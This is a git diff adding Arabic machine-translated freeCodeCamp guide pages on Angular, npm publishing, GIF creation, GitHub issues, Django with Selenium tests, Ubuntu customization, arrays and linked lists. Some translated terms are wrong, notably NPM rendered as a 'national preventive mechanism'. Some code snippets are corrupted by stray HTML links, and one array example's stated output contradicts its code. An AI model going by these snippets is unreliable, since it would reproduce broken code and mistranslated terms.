+ستؤدي كتابة ما سبق في سطر الأوامر إلى إنشاء **صفحة /** مسار جديد لتطبيقك! يقوم تلقائيًا بإنشاء جميع الملفات الضرورية داخل مجلد **/ client / app / newpage** ، مثل المجلد **/ client / app / main** ، مع **newpage.controller.js** و **newpage.controller.spec.js** و **newpage.js** **والصفحة الجديدة. أتش تي أم أل** . هذه كلها تتصرف إلى حد كبير مثل تلك الموجودة في الطريق **الرئيسي** . إذا كنت تقوم بالوصول إلى قاعدة البيانات في وحدة تحكم صفحتك الجديدة ، فستحتاج إلى إضافة _$ http_ إلى قائمة التبعيات في **newpage.controller.js** بنفس الطريقة المتضمنة في **main.controller.js** :
+
+ `angular.module('myApp') 
+  .controller('MainCtrl', function ($scope, $http) { ... 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/create-an-npm-module/index.md b/client/src/guide/arabic/miscellaneous/create-an-npm-module/index.md
new file mode 100644
index 0000000000..b5673bae98
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/create-an-npm-module/index.md
@@ -0,0 +1,49 @@
+---
+title: Create an Npm Module
+localeTitle: إنشاء وحدة NPM
+---
+وحدة NPM عبارة عن مجموعة من وظائف Javascript المجمعة في حزمة قابلة للتوزيع. تحتفظ [NPM](http://www.npmjs.com) بسجل جميع الحزم المتوفرة ، وهي أيضًا الأداة المستخدمة لتثبيت الحزم من السجل الخاص بها.
+
+يتمثل جمال NPM في إمكانية تجميع الحزم التي أنشأها أشخاص آخرون لإنشاء شيء جديد ، ويمكن لشخص آخر استخدام الحزمة التي أنشأتها لاحقًا. إذا كان لديك بعض التعليمات البرمجية التي تريد مشاركتها مع العالم ، فمن السهل نشر وحدة نمطية إلى NPM.
+
+## الخطوة 1: إنشاء البرنامج النصي الخاص بك
+
+لقد أنشأت هذه الأداة البسيطة مثل `index.js` :
+
+ `var time = new Date().toTimeString(); 
+ console.log(time); 
+` 
+
+## الخطوة 2: إنشاء معلومات الحزمة
+
+الخطوة التالية هي إنشاء المعلومات لنشرها مع الحزمة الخاصة بك ، المخزنة في `package.json` . يوفر NPM معالجًا لتسهيل إنشاء هذا الملف.
+
+ببساطة قم بتشغيل `npm init` والإجابة على الأسئلة.
+
+يجب أن تبدو `package.json` كالتالي:
+
+ `{ 
+  "name": "whattimeisit", 
+  "version": "1.0.0", 
+  "description": "accurate time retrieval", 
+  "main": "index.js", 
+  "author": "HoursAndMinutes", 
+  "license": "ISC" 
+ } 
+` 
+
+لا تنس تضمين رابط مستودع GitHub إذا كان الرمز على GitHub!
+
+## الخطوة 3: إنشاء حساب مستخدم على NPM
+
+من أجل نشر حزمة إلى الآلية الوقائية الوطنية ، يجب أن يكون لديك حساب مسجل. للقيام بذلك ، قم بتشغيل `npm adduser` . يمكنك التحقق من الحساب المستخدم حاليًا مع `npm config ls` .
+
+## الخطوة 4: النشر إلى الآلية الوقائية الوطنية
+
+قبل نشر الحزمة الخاصة بك إلى الآلية الوقائية الوطنية ، تحقق مما إذا كان الدليل يحتوي على أي ملفات لا تريد جعلها عامة (مثل كلمات المرور ، المفاتيح الخاصة ، إلخ). يمكنك إضافتها إلى ملف يسمى `.npmignore` لاستبعادها من نشر الحزمة. NPM سوف يكرم أيضا `.gitignore` إذا كان لديك ذلك.
+
+بمجرد الانتهاء من محتويات الحزمة الخاصة بك ، قم بتشغيل `npm publish` . يمكنك تأكيد تفاصيل الحزمة الخاصة بك على [https://npmjs.com/package/yourpackagename](https://npmjs.com/package/yourpackagename) .
+
+### معلومات اكثر:
+
+إنشاء وحدات Node.js [npm](https://docs.npmjs.com/getting-started/creating-node-modules)
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/create-and-upload-and-link-animated-gif-image/index.md b/client/src/guide/arabic/miscellaneous/create-and-upload-and-link-animated-gif-image/index.md
new file mode 100644
index 0000000000..e1254e9d60
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/create-and-upload-and-link-animated-gif-image/index.md
@@ -0,0 +1,11 @@
+---
+title: Create and Upload and Link Animated Gif Image
+localeTitle: إنشاء وتحميل وربط صورة Gif المتحركة
+---
+1.  تحميل [LICEcap](http://www.cockos.com/licecap/) وتثبيت.
+2.  افتح وابدأ التسجيل لإنشاء صورة GIF متحركة.
+3.  تحميل ملف `.gif` في [EZGIF.com](http://ezgif.com/optimize) .
+    *   الاقتصاص ، تغيير الحجم والتحسين عدة مرات أو حسب الحاجة.
+4.  تحميل صور متحركة GIF.
+5.  قم بتحميل الصورة إلى [imgur.com](http://imgur.com) .
+6.  صورة الرابط باستخدام `![image title](https://i.imgur.com/RqgGcf5.gif)` .
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/creating-a-new-directive-in-angular/index.md b/client/src/guide/arabic/miscellaneous/creating-a-new-directive-in-angular/index.md
new file mode 100644
index 0000000000..e3a1b10147
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/creating-a-new-directive-in-angular/index.md
@@ -0,0 +1,13 @@
+---
+title: Creating a New Directive in Angular
+localeTitle: خلق التوجيه الجديد في الزاوي
+---
+هل تذكر التوجيهات المخصصة من تشكيل مع مسار الزاوي؟ يمكنك أيضًا إنشاء أمر مخصص!
+
+ `>> yo angular-fullstack:directive newdirective 
+` 
+
+وإذا كنت في حاجة إلى قالب html لتوجيهك المخصص (ربما تقوم فقط بتوجيه لتنظيف كود HTML الخاص بك) ، أخبره أن يقوم بإنشاء ملف html عندما يطالبك بذلك وستتمكن من تضمين المحتويات لهذا النموذج في أي مكان في تطبيقك مع:
+
+ `<newdirective></newdirective> 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/creating-a-new-github-issue/index.md b/client/src/guide/arabic/miscellaneous/creating-a-new-github-issue/index.md
new file mode 100644
index 0000000000..c3620979c7
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/creating-a-new-github-issue/index.md
@@ -0,0 +1,26 @@
+---
+title: Creating a New Github Issue
+localeTitle: خلق إصدار جديد Github
+---
+قبل إرسال مشكلة ، حاول [البحث عن](https://forum.freecodecamp.com/t/searching-for-existing-issues-in-github/18390) مشكلتك [على Github](https://forum.freecodecamp.com/t/searching-for-existing-issues-in-github/18390)
+
+إن صياغة قضية جيدة سيجعل من الأسهل على فريق التطوير تكرار مشكلتك وحلها. اتبع هذه الخطوات للقيام بذلك بشكل صحيح:
+
+1.  الذهاب إلى FreeCodeCamp في [قضايا جيثب](https://github.com/FreeCodeCamp/FreeCodeCamp/issues) الصفحة وانقر على `New Issue` .
+    
+2.  **لديك عنوان مفيد**
+    
+    *   اكتب عنوانًا مفيدًا يصف المشكلة. بعض الأمثلة الجيدة هي أن `Logging in from the News and Field Guide pages doesn't redirect properly (using e-mail)` و `Typo: "for" instead of "while" loop` ؛ وتشمل الأمثلة السيئة `A bug, HELP!!!11` `I found this bug in a Challenge` .
+        
+    *   الحفاظ على العنوان قصير نسبيا ، والوصف لمزيد من المعلومات. أحد الأمثلة على ذلك هو اختصار أسماء تحدي طويلة ، لذا بدلاً من كتابة `Test case bug in 'Challenge: Check Radio Buttons and Checkboxes by Default'` ، قد تحتاج إلى كتابة `Test case bug in 'Radio Buttons' Challenge` .
+        
+3.  في النص الأساسي ، **قدّم رابطًا** إلى الصفحة التي واجهت فيها هذه المشكلة.
+    
+4.  **صف المشكلة** وقدم **خطوات** حتى يتمكن مطور البرامج من محاولة تكرار المشكلة. قم بتضمين نظام التشغيل وإصدار المستعرض.
+    
+    *   عند الإشارة إلى مشكلات أخرى أو سحب الطلبات ، ما عليك سوى كتابة #issue / pr-number.
+5.  الصق في أي رمز ذي صلة باستخدام [تنسيق الشفرة](https://forum.freecodecamp.com/t/markdown-code-formatting/18391) المناسب
+    
+6.  **يمكنك التقاط لقطة شاشة** للمشكلة وتضمينها في المشاركة.
+    
+7.  انقر فوق `Submit New Issue` وانت القيام به! سيتم الاشتراك تلقائيًا في الإشعارات لأي تحديثات أو تعليقات مستقبلية.
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/creating-a-project-with-django/index.md b/client/src/guide/arabic/miscellaneous/creating-a-project-with-django/index.md
new file mode 100644
index 0000000000..8cb0a1be8c
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/creating-a-project-with-django/index.md
@@ -0,0 +1,229 @@
+---
+title: Creating a Project with Django
+localeTitle: إنشاء مشروع مع Django
+---
+الآن بعد أن عرفنا كيفية إنشاء بيئات افتراضية ونستخدم النقطة ، يمكننا البدء في بناء مشروعنا. في هذه المقالة ، سنقوم بإنشاء مشروعنا الأول لـ Django ، وكتابة الاختبارات ، وبدء تشغيل خادم التطوير الخاص بنا.
+
+## خلق البيئة الافتراضية
+
+أولاً ، لنقم بإنشاء بيئة افتراضية جديدة لهذا المشروع. (إذا لم تكن قد قمت بالفعل ، قم بإلغاء تنشيط virtualenv السابقة بكتابة `deactivate` في المحطة الطرفية). لمزيد من المعلومات حول البيئات الافتراضية وكيفية استخدامها ، قم بزيارة هذه الصفحة .
+
+انتقل إلى الدليل حيث تريد مشروع Django واكتب ما يلي في المحطة:
+
+ `mkvirtualenv taskplanner --python=/usr/bin/python3 
+` 
+
+قد تضطر إلى تغيير مسار بايثون إذا كان يبدو مختلفًا عن المسار الوارد أعلاه.
+
+يجب أن تبدو shell سطر الأوامر الآن كما هو موضح أدناه ، مما يشير إلى أنك في بيئة ظاهرية.
+
+ `(taskplanner)<a href='https://sites.google.com/a/chromium.org/chromedriver/downloads' target='_blank' rel='nofollow'>munsterberg@Lenovo ~/workspace] $ 
+` 
+
+إذا لم يكن الأمر كذلك ، فاكتب فقط:
+
+ `workon taskplanner 
+` 
+
+يمكننا الآن تثبيت Django:
+
+ `pip install Django 
+` 
+
+## إنشاء مشروع Django
+
+مع تثبيت Django يمكننا إنشاء مشروعنا:
+
+ `django-admin.py startproject taskplanner 
+` 
+
+بعد ذلك ، انتقل إلى مشروعنا الجديد بكتابة:
+
+ `cd taskplanner 
+` 
+
+قبل أن نفعل أي شيء ، دعونا نضع هذا الدليل كدليل عمل لدينا باستخدام virtualenvwrapper:
+
+ `setvirtualenvproject 
+` 
+
+**Sidenote** : للحصول على قائمة أوامر virtualenvwrapper ، اكتب `virtualenvwrapper` في الطرفية الخاصة بك.
+
+الآن ، عندما نكون في بيئتنا الافتراضية ، يمكننا كتابة `cdproject` للتنقل مباشرة إلى دليل العمل الخاص بنا.
+
+يجب أن يظهر دليل مشروعك على النحو التالي:
+
+ `taskplanner // our main working directory 
+ |--- manage.py // similar to the django-admin script, you will see this used a 
+               // lot throughout our project 
+ |--- taskplanner 
+    |--- __init__.py // this just tells python to treat this directory as a package 
+    |--- settings.py // main configuration file for our project 
+    |--- urls.py // we will use this to configure urls 
+    |--- wsgi.py // this is used for deploying our project to a production server 
+` 
+
+## الاختبار الوظيفي
+
+التطوير المعتمد على الاختبار هو أفضل الممارسات المستخدمة على نطاق واسع في تطوير البرمجيات. بشكل أساسي ، نريد أن نكتب اختبارًا أولاً يفشل ، ثم نكتب أقل كمية ممكنة من الشفرة لتمرير هذا الاختبار. مع Django ، هدفنا هو كتابة كل من الاختبارات الوظيفية (المعروفة أيضًا باسم ؛ اختبارات التكامل ، اختبارات نهاية إلى نهاية ، وما إلى ذلك) ، واختبارات الوحدة خلال التطوير. لا تتعرق ، فالاختبار ليس صعبًا كما يبدو!
+
+لكننا نحتاج أولاً إلى إنشاء بيئة افتراضية جديدة مخصصة للاختبار. افتح علامة تبويب جديدة في الجهاز ، وانتقل إلى دليل مشروع مخطط المهام واكتب:
+
+ `mkvirtualenv taskplanner_test --python=/usr/bin/python3 
+` 
+
+الآن يجب أن يكون لديك علامتا تبويب مفتوحتان في الجهاز الخاص بك ، واحد في بيئة ظاهرية (مخطط المهام) ، والآخر في بيئة ظاهرية (taskplanner\_test).
+
+إذا قمت `pip freeze` في بيئة الاختبار الجديدة (taskplanner\_test) ، ستلاحظ أي شيء يظهر. هذا لأننا لم نقم بتركيب أي شيء في بيئتنا الجديدة.
+
+لذلك دعونا نمضي قدمًا ونركّب دجانجو أولاً في بيئة الاختبار (taskplanner\_test):
+
+ `pip install Django 
+` 
+
+لإنشاء اختباراتنا الوظيفية ، سنحتاج إلى بعض الأشياء. أولاً ، نحتاج إلى تثبيت متصفح الويب Firefox في جهازنا. إذا لم يكن لديك Firefox ، فقم بتثبيته الآن.
+
+**Sidenote** : يمكنك استخدام Chrome لاختبار الدمج ، ولكن يجب عليك تنزيل برنامج التشغيل [هنا](https://sites.google.com/a/chromium.org/chromedriver/downloads) واتباع [سؤال تجاوز سعة التكديس هذا](http://stackoverflow.com/questions/13724778/how-to-run-selenium-webdriver-test-cases-in-chrome) . يتمتع Firefox بأداء أفضل مقارنة بالكروم عند إجراء اختبارات التكامل ، وهو أمر مهم للغاية نظرًا لأن اختبارات التكامل بطيئة للغاية مقارنة مع اختبارات الوحدة.
+
+وذلك لأن اختبارات التكامل تختبر النظام **بأكمله** ، بدلاً من "الوحدات" (مكونات صغيرة). في العالم الحقيقي ، من الأفضل في بعض الأحيان تجنب اختبارات التكامل بسبب وقت التطوير الطويل لإنشاءها ، ووقت التشغيل البطيء ، والأخطاء الغامضة ، وغيرها من الأسباب التي قد تكتشفها في الوقت المناسب.
+
+ومع ذلك ، فهي لا تزال تستحق النظر عند تطوير تطبيق العالم الحقيقي ، ويمكن أن تكون مفيدة للغاية من حيث الموثوقية على الرغم من سلبيات الأداء.
+
+بعد ذلك ، نحتاج إلى تثبيت حزمة تسمى [السيلينيوم](http://selenium.googlecode.com/svn/trunk/docs/api/py/index.html) . هذه الحزمة سوف توفر لنا WebDriver حتى نتمكن من التحكم في المتصفح مع اختباراتنا. عادة ما يستخدم السيلينيوم لأتمتة المتصفح الخاص بك.
+
+ `pip install selenium 
+` 
+
+والآن بعد أن قمنا بتثبيتها ، سنحتاج إلى دليل لإنشاء اختباراتنا:
+
+ `mkdir functional_tests 
+` 
+
+في دليل `taskplanner` يجب أن تشاهد الآن ما يلي:
+
+ `taskplanner 
+ |-- functional_tests 
+ |--- manage.py 
+ |--- taskplanner 
+    ... 
+` 
+
+نحتاج الآن إلى إنشاء بعض الملفات في مجلد وظائفنا `functional_tests` . `__init__.py` ملف `__init__.py` (سيؤدي هذا إلى إخبار بايثون بمعالجة `functional_tests` مثل الحزمة) ، وملف `test_all_users.py` على اختباراتنا.
+
+دعونا نفعل ذلك الآن:
+
+ `touch functional_tests/__init__.py 
+ touch functional_tests/test_all_users.py 
+` 
+
+**Sidenote** : `__init__.py` هو دائمًا ملف فارغ. لمزيد من المعلومات حول ما يتم استخدامه ، اطلع على [إجابة stackoverflow هذه.](http://stackoverflow.com/questions/448271/what-is-init-py-for)
+
+يمكننا أخيرا البدء في كتابة أول اختبار وظيفي لدينا! الاختبارات الوظيفية هي لاختبار مجموعة من الوظائف في تطبيق الويب الخاص بنا. يصف برنامج TDD مع بايثون الاختبارات الوظيفية بأنها "كيفية عمل التطبيق من وجهة نظر المستخدم".
+
+`test_all_users.py` ملف `test_all_users.py` في محرر النصوص لدينا. أولاً ، نريد استيراد webdriver selenium ، ولجعل هذا أسهل كثيرًا ، يوفر Django شيئًا معروفًا باسم StaticLiveServerTestCase للاختبار المباشر. دعونا استيراد كل من هؤلاء الآن:
+
+ `from selenium import webdriver 
+ from django.contrib.staticfiles.testing import StaticLiveServerTestCase 
+` 
+
+بما أننا نختبر من منظور المستخدمين ، دعنا نسمي هذه الاختبارات NewVisitorTest. أضف ما يلي:
+
+ `class NewVisitorTest(StaticLiveServerTestCase): 
+    def setUp(self): 
+        self.browser = webdriver.Firefox() 
+        self.browser.implicitly_wait(2) 
+ 
+    def tearDown(self): 
+        self.browser.quit() 
+` 
+
+أولاً ، قمنا بإنشاء فئة StaticLiveServerTestCase باسم NewVisitorTest ، وهذا سيتضمن اختباراتنا التي نريد تشغيلها لزائر جديد. ثم ، لدينا طريقتين باسم setUp و tearDown. تتم تهيئة طريقة setUp عند إجراء اختباراتنا. لذلك ، بالنسبة إلى كل اختبار نجريه ، نفتح متصفح Firefox وننتظر لمدة ثانيتين حتى يتم تحميل الصفحة. يتم تنفيذ tearDown بعد انتهاء كل اختبار ، تغلق هذه الطريقة المتصفح لنا بعد كل اختبار.
+
+الآن يمكننا كتابة أول اختبار لنا ، وإطلاق Firefox وإغلاقه تلقائيًا لنا. لنكتب اختبارنا الآن أسفل طريقة tearDown.
+
+ `    def test_home_title(self): 
+        self.browser.get('http://localhost:8000') 
+        self.assertIn('Welcome to Django', self.browser.title) 
+` 
+
+الاختبار الأول لدينا ، كيف مثيرة! دعونا نمر من خلاله. يجب أن يبدأ كل اختبار نرغب في إنشائه بـ "اختبار". على سبيل المثال ، إذا أردت إنشاء اختبار لـ css الخاص بي ، فإنني سأتصل بالطريقة `test_h2_css` . هنا ، `test_home_title` . هذا واضح إلى حد ما ، وهو بالضبط ما نريده لاختباراتنا. تجلب هذه الطريقة أولاً Firefox إلى عنوان url `http://localhost:8000` ، ثم تتحقق مما إذا كان 'Welcome to Django' في عنوان علامات html head.
+
+لنقم بإجراء هذا الاختبار الآن ونرى ما يحدث:
+
+ `python manage.py test functional_tests 
+` 
+
+أولاً ، ما الذي نكتبه هنا بالضبط؟ يقدم لنا البرنامج النصي manage.py شيئًا يسمى "اختبار" ، وسنستخدمه لتشغيل جميع اختباراتنا. هنا نقوم بتشغيله في حزمة `functional_tests` التي قمنا بإنشائها باستخدام ملف `__init__.py` .
+
+بعد تشغيل هذا ، سترى شيئًا مثل ما يلي في جهازك:
+
+ `F 
+ ====================================================================== 
+ FAIL: test_home_title (functional_tests.test_all_users.NewVisitorTest) 
+ ---------------------------------------------------------------------- 
+ Traceback (most recent call last): 
+  File "/Users/username/url/to/project/taskplanner/functional_tests/test_all_users.py", line 15, in test_home_title 
+    self.assertIn('Welcome to Django', self.browser.title) 
+ AssertionError: 'Welcome to Django' not found in 'Problem loading page' 
+ 
+ ---------------------------------------------------------------------- 
+ Ran 1 test in 4.524s 
+ 
+ FAILED (failures=1) 
+` 
+
+لذلك فشلت ، لكنها أعطتنا بعض النصائح المفيدة. أولا ، AssertionError. "مرحبا بك في Django" غير موجود في صفحة "مشكلة التحميل". هذا يعني أن عنوان `http://localhost:8000` كان 'صفحة تحميل المشكلة'. إذا انتقلت إلى عنوان url ، فسترى أن صفحة الويب لم تكن متوفرة.
+
+دعونا نحاول تشغيل خادم Django الخاص بنا للحصول على الاختبار. قم بالتبديل إلى علامة التبويب الطرفية الموجودة في بيئة ظاهرية `taskplanner` وقم بتشغيل الخادم الخاص بنا.
+
+ `python manage.py runserver 
+` 
+
+يجب أن ترى شيئًا كالتالي:
+
+ `Performing system checks... 
+ 
+ System check identified no issues (0 silenced). 
+ 
+ You have unapplied migrations; your app may not work properly until they are applied. 
+ Run 'python manage.py migrate' to apply them. 
+ 
+ March 06, 2016 - 20:53:38 
+ Django version 1.9.4, using settings 'taskplanner.settings' 
+ Starting development server at http://127.0.0.1:8000/ 
+ Quit the server with CONTROL-C. 
+` 
+
+لا تقلق بشأن رسالة الترحيل غير المطبقة بعد.
+
+الآن لدينا خادم يعمل على `http://localhost:8000` ، يتيح تشغيل الاختبار مرة أخرى.
+
+ارجع إلى علامة التبويب الطرفية الأخرى الموجودة في بيئة ظاهرية في `taskplanner_test` وقم بتشغيل التالي مرة أخرى:
+
+ `python manage.py test functional_tests 
+` 
+
+يجب أن ترى ما يلي.
+
+ `Creating test database for alias 'default'... 
+ . 
+ ---------------------------------------------------------------------- 
+ Ran 1 test in 4.033s 
+ 
+ OK 
+ Destroying test database for alias 'default'... 
+` 
+
+## ما قمنا به حتى الآن
+
+لدينا أول اختبار اجتياز!
+
+لقد غطينا الكثير في هذه المقالة. أنشأنا أول مشروع لدينا ، وقمنا بإعداد بيئات افتراضية لأغراض التطوير والاختبار ، وكتبنا أول اختبار وظيفي ، وتابعتنا عملية التطوير المدفوعة بالتجربة بكتابة اختبار فاشل ، ومن ثم جعله يمر.
+
+## باستخدام قوالب بداية
+
+يمكنك أن توفر على نفسك الكثير من الوقت من خلال بدء مشروعك باستخدام قالب بداية جانج. تستخدم هذه المشروعات أفضل الممارسات التي ستوفر لك صداعًا لاحقًا عندما ينمو مشروعك. بعض من أكثر المشاريع شعبية هي
+
+*   [قطاعة البسكويت](https://github.com/pydanny/cookiecutter-django)
+*   [هاكاثون المبدئ](https://github.com/DrkSephy/django-hackathon-starter)
+*   [حافة](https://github.com/arocks/edge)
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/customizing-ubuntu/index.md b/client/src/guide/arabic/miscellaneous/customizing-ubuntu/index.md
new file mode 100644
index 0000000000..b34d1388c1
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/customizing-ubuntu/index.md
@@ -0,0 +1,34 @@
+---
+title: Customizing Ubuntu
+localeTitle: تخصيص أوبونتو
+---
+يوضح لك هذا البرنامج التعليمي كيفية إضافة الأسماء المستعارة إلى الوحدة الطرفية ، وتغيير الوحدة وإزالة bloatware المثبتة مسبقًا.
+
+## خطوات:
+
+### إزالة Bloatware
+
+لإزالة جميع bloatware المثبتة مسبقا بسبب مخاوف الخصوصية أو للحفاظ على نظام التشغيل الخاص بك الحد الأدنى ، تحقق من [هذا](https://gist.github.com/ansell/61313400e26cd42289f8) gist.
+
+### اسماء مستعارة
+
+يمكنك إنشاء اسم مستعار مؤقت مثل هذا:
+
+ `alias alias_name="command_to_run" 
+` 
+
+ومع ذلك ، عند إغلاق جلسة shell الخاصة بك ، هذا الاسم المستعار سوف يتوقف عن الوجود.
+
+لإنشاء اسم مستعار دائم ، ستحتاج إلى إنشاء ملف `~/.bash_aliases` باستخدام الأمر `touch ~/.bash_aliases` . بمجرد فتح هذا الملف باستخدام محرر النص الذي تختاره ، أضف سطرًا في أسفل المستند ، على غرار المثال أعلاه.
+
+لمعرفة المزيد ، يحتوي برنامج DigitalOcean على برنامج تعليمي رائع يمكن العثور عليه [هنا](https://www.digitalocean.com/community/tutorials/an-introduction-to-useful-bash-aliases-and-functions) .
+
+### وحدة أداة Tweak
+
+توفر أداة Unity Tweak للمستخدمين عددًا كبيرًا من خيارات التهيئة لتغيير حجم سطح المكتب Unity.
+
+لتثبيت أداة Unity Tweak Tool ، اكتب `sudo apt install unity-tweak-tool` أداة `sudo apt install unity-tweak-tool` ، وإطلاقها ، `unity-tweak-tool` .
+
+[هنا](http://www.techrepublic.com/blog/linux-and-open-source/six-must-have-ubuntu-unity-tweaks/) قائمة من ستة يجب أن يكون بين أوبونتو الوحدة Tweaks.
+
+[**تنزيل وتثبيت أوبونتو سطح المكتب**](//forum.freecodecamp.com/t/download-and-install-ubuntu-desktop/18383) [**جدول المحتويات**](//forum.freecodecamp.com/t/setting-up-ubuntu-for-programming/18388) | [**جاز حتى المحطة**](//forum.freecodecamp.com/t/jazzing-up-the-terminal/18386)
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/data-structure-arrays/index.md b/client/src/guide/arabic/miscellaneous/data-structure-arrays/index.md
new file mode 100644
index 0000000000..e9b6c41f42
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/data-structure-arrays/index.md
@@ -0,0 +1,90 @@
+---
+title: Data Structure Arrays
+localeTitle: هياكل البيانات هيكل
+---
+داخليًا ، تعتبر `array` نوعًا من بنية البيانات التي يمكنها تخزين مجموعة متسلسلة ذات حجم ثابت للعناصر من نفس النوع. يتم استخدام `array` لتخزين مجموعة من البيانات ، ولكن غالباً ما يكون أكثر فائدة للتفكير في `array` كمجموعة من المتغيرات من نفس النوع.
+
+`array` تتكون من مواقع الذاكرة المتجاورة. يتوافق العنوان الأدنى مع العنصر الأول وأعلى عنوان للعنصر الأخير.
+
+## المصفوفات في C ++
+
+يوفر C ++ بنية بيانات ، `array` ، تخزن مجموعة متسلسلة ذات حجم ثابت للعناصر من نفس نوع البيانات. يتم استخدام `array` لتخزين مجموعة من البيانات ، ولكن من الأفضل التفكير في `array` كمجموعة من المتغيرات من نفس النوع.
+
+#### الإعلان عن `array`
+
+ `int intarray<a href='https://repl.it/CWZE/3' target='_blank' rel='nofollow'>10]; // Declares an array of integer type of size 10 with elements having random values. Index ranges from 0 to 9(ie size-1). 
+ int intarray[10] = { 0 }; // Declares an array of integer of size 10 with all elements having value 0 
+ 
+ // Choose one the two declarations and then move ahead. 
+` 
+
+#### إدراج عناصر في `array` :
+
+ `intarray[0] = 1; // Inserts an integer value of 1 at index 0 
+ intarray[1] = 0; // Inserts an integer value of 0 at index 1 
+ intarray[2] = -1; // Inserts an integer value of -1 at index 2 
+ intarray[3] = 1; // Inserts an integer value of 1 at index 3 
+` 
+
+#### طباعة `array` :
+
+ `std::cout << intarray[0] << std::endl; // Returns 1 which is element at index of the array 
+ std::cout << intarray[11] << std::endl; // Would give aa "Garbage" value as there is no element at index 11 of array. 
+ // That memory location is beyond the range of the array. 
+ 
+ // To print all the elements of the array 
+ for(int i = 0; i < n; i++) 
+    std::cout << intarray[i] << std::endl; 
+` 
+
+#### العمليات الأساسية على `array` :
+
+ `std::cout << sizeof(intarray)/sizeof(intarray[0]) << std::endl; // Returns the length of the array ie 10. 
+ std::cout << sizeof(intarray[0]) << std::endl; // Returns length in bytes of one array item ie 4 as it is an integer 
+` 
+
+: rocket: \[Run Code ## لا تحتوي صفائف Arthys في Python Python على بنية بيانات `array` أصلي. لا ينبغي الخلط بين `array` في بيثون مع `list` . الاختلاف الرئيسي بين `list` `array` في Python هو أن `list` يمكن أن تحتوي على أنواع مختلفة من القيم بينما يجب أن تحتوي كل `array` على جميع القيم من نفس النوع. #### الإعلان عن `array`
+
+ `from array import array 
+ intarray = array('i') # Declares an array of integer type 
+` 
+
+#### إدراج عناصر في `array` :
+
+ `intarray.append(1) # Inserts an integer value of 1 to the array 
+ intarray.append(0) # Inserts an integer value of 0 to the array 
+ intarray.append(-1) # Inserts an integer value of -1 to the array 
+ intarray.append(1) # Inserts an integer value of 1 to the array 
+ 
+ intarray.append('d') # Would give a TypeError as the array is of integer type. 
+ 
+ #Resolve the above error and then move ahead. 
+` 
+
+#### طباعة `array` :
+
+ `print(intarray) # Returns array('i', [1, 4, -1]) 
+ print(intarray[0]) # Returns 1 which is the element at index 0 of the array 
+ print(intarray[3]) # Would give IndexError as there is no element at index 3 of array. 
+ 
+ #Resolve the above error and then move ahead. 
+ 
+ # To print all the elements of the array 
+ for i in intarray: 
+    print(i) 
+` 
+
+#### العمليات الأساسية على `array` :
+
+ `len(intarray) # Returns the length of the array ie 3 
+ intarray.itemsize # Returns length in bytes of one array item ie 4 as it is an integer 
+ intarray.count(1) # Returns the number of occurrences of 1 in the array ie 2 
+ intarray.insert(1, 3) # Insert a new item with value x in the array before position i 
+ intarray.remove(1) # Remove the first occurrence of 1 from the array 
+ intarray.reverse() # Reverse the order of the items in the array 
+ intarray.pop(1) # Removes the item with the index 1 from the array and returns it 
+` 
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":صاروخ:") [تشغيل الكود](https://repl.it/CWJB)
+
+[المستندات الرسمية](https://docs.python.org/3.5/library/array.html)
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/data-structure-linked-list/index.md b/client/src/guide/arabic/miscellaneous/data-structure-linked-list/index.md
new file mode 100644
index 0000000000..f23ba451cb
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/data-structure-linked-list/index.md
@@ -0,0 +1,445 @@
+---
+title: Data Structure Linked List
+localeTitle: قائمة ربط بنية البيانات
+---
+تماما كما هو مصنوع من الطوق مع الزهور ، تتكون قائمة مرتبطة من العقد. نحن ندعو كل زهرة على هذا الطوق الخاص لتكون عقدة. ويشير كل من العقدة إلى العقدة التالية في هذه القائمة بالإضافة إلى أنه يحتوي على بيانات (هنا هو نوع من الزهور).
+
+## أنواع
+
+1.  قائمة متصلة Singly
+
+تحتوي القوائم المرتبطة بشكل فردي على عقد تحتوي على حقل `data` بالإضافة إلى حقل `next` ، والذي يشير إلى العقدة التالية في التسلسل. العمليات التي يمكن إجراؤها على القوائم المرتبطة فرديًا هي الإدراج والحذف والعبور.
+
+\`
+
+ `Singly Link List 
+` 
+
+* * *
+
+ `   head 
+    | 
+    | 
+  +-----+--+      +-----+--+      +-----+------+ 
+  |  1  |o----->  |  2  |o----->  |  3  | NULL | 
+  +-----+--+      +-----+--+      +-----+------+ 
+` 
+
+\`
+
+الوضعية
+
+يتم الاحتفاظ بالتنفيذ الداخلي لـ CPython والإطارات والمتغيرات التي تم تقييمها على كومة.
+
+لهذا نحن بحاجة إلى التكرار فقط إلى الأمام الحصول على الرأس ، لذلك يتم استخدام قائمة مرتبطة بشكل فردي.
+
+1.  قائمة ترتبط Doubly
+
+القوائم المرتبطة مضاعف تحتوي على العقدة التي لديها `data` الحقل `next` الميدان وآخر حقل ارتباط `prev` لافتا إلى العقدة السابقة في التسلسل.
+
+\`
+
+قائمة ترتبط Doubly
+
+* * *
+
+ `          head 
+           | 
+           | 
+  +------+-----+--+    +--+-----+--+       +-----+------+ 
+  |      |     |o------>  |     |o------>  |     |      | 
+  | NULL |  1  |          |  2  |          |  3  | NULL | 
+  |      |     |  <------o|     |  <------o|     |      | 
+  +------+-----+--+    +--+-----+--+       +-----+------+ 
+` 
+
+\`
+
+الوضعية
+
+ذاكرة التخزين المؤقت للمتصفح والتي تسمح لك بالضغط على الزر BACK and FORWARD. هنا نحتاج إلى الاحتفاظ بقائمة مرتبطة بشكل مضاعف ، مع `URLs` كحقل بيانات ، للسماح بالوصول في كلا الاتجاهين. للانتقال إلى عنوان URL السابق ، سنستخدم الحقل `prev` والانتقال إلى الصفحة `next` سنستخدم الحقل `next` .
+
